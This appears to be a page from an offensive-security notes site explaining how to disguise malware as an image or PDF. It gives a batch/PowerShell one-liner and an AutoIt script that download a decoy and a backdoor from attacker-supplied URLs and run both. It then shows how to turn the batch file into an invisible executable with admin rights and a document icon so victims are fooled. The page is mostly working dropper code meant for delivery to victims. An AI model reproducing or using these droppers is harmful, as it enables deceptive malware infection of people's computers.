> For the complete documentation index, see [llms.txt](https://hackzzz.gitbook.io/welcome/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackzzz.gitbook.io/welcome/everything-about-and-notes/social-engineering/windows-malware/creating-trojans/embedding-malicious-files-in-images-or-pdf.md).

# Embedding malicious files in Images or PDF

## Embedding Files using batch (First Method)

```batch
@echo off

set files='pdf/image_url','url_of_our_evil_file/Backdoor_URL'

powershell "(%files%)|foreach{$fileName='%TEMP%'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"
```

* Using the following **batch script** following by the **URL's** order and **delivering to the victim** we will see that when the victim opens this file, the **pdf/image** will pop up first and the evil program will be executed after.

## Embedding Files using Autoit (Second Method)

```c
#include <StaticConstants.au3>
#include <WindowsConstants.au3>

Local $urls = "image_URL,Backdoor_URL"

Local $urlsArray = StringSplit($urls, ",", 2 )

For $url In $urlsArray
	$sFile = _DownloadFile($url)
	shellExecute($sFile)

Next

Func _DownloadFile($sURL)
    Local $hDownload, $sFile
    $sFile = StringRegExpReplace($sURL, "^.*/", "")
    $sDirectory = @TempDir & $sFile
    $hDownload = InetGet($sURL, $sDirectory, 17, 1)
    InetClose($hDownload)
    Return $sDirectory
EndFunc   ;==>_GetURLImage
```

* Use this script and add all the malicious links you want.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2Fon73bvncw8Ne43ixoBIr%2Fautoit1.png?alt=media&amp;token=a3bba4c0-8b80-453b-8927-2e192c83d689" alt=""><figcaption></figcaption></figure>

* Once this its compile, when the victims execute the file, it will execute at the same time all the files.
* This does the same that the first method does but without using batch and uploading straight the icon of the program in the autoit program.&#x20;

## Converting Bat to exe

### Installation

* Use wine to execute the program in Linux, you can use it in windows as well.

```java
sudo apt update
sudo apt upgrade
git clone https://github.com/tokyoneon/B2E
cd B2E
unzip Bat_To_Exe_Converter.zip
wine  Bat_To_Exe_Converter_\(Installer\).exe
```

### Usage

* Always select one of the invisible options (Windows 64 bits invisible).
* You can click on ***Requests Administrator privileges*** to get access with admin privileges.
* The Icon option lets you set an Icon to your evil file like pdf, word, etc.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2F4Fr9yK9trsuPQZDZltph%2Fbat_to_exe1.png?alt=media&amp;token=0d804f17-125f-48e8-87fe-44969c080c23" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/tokyoneon/B2E/blob/master/Bat_To_Exe_Converter.zip>" %}
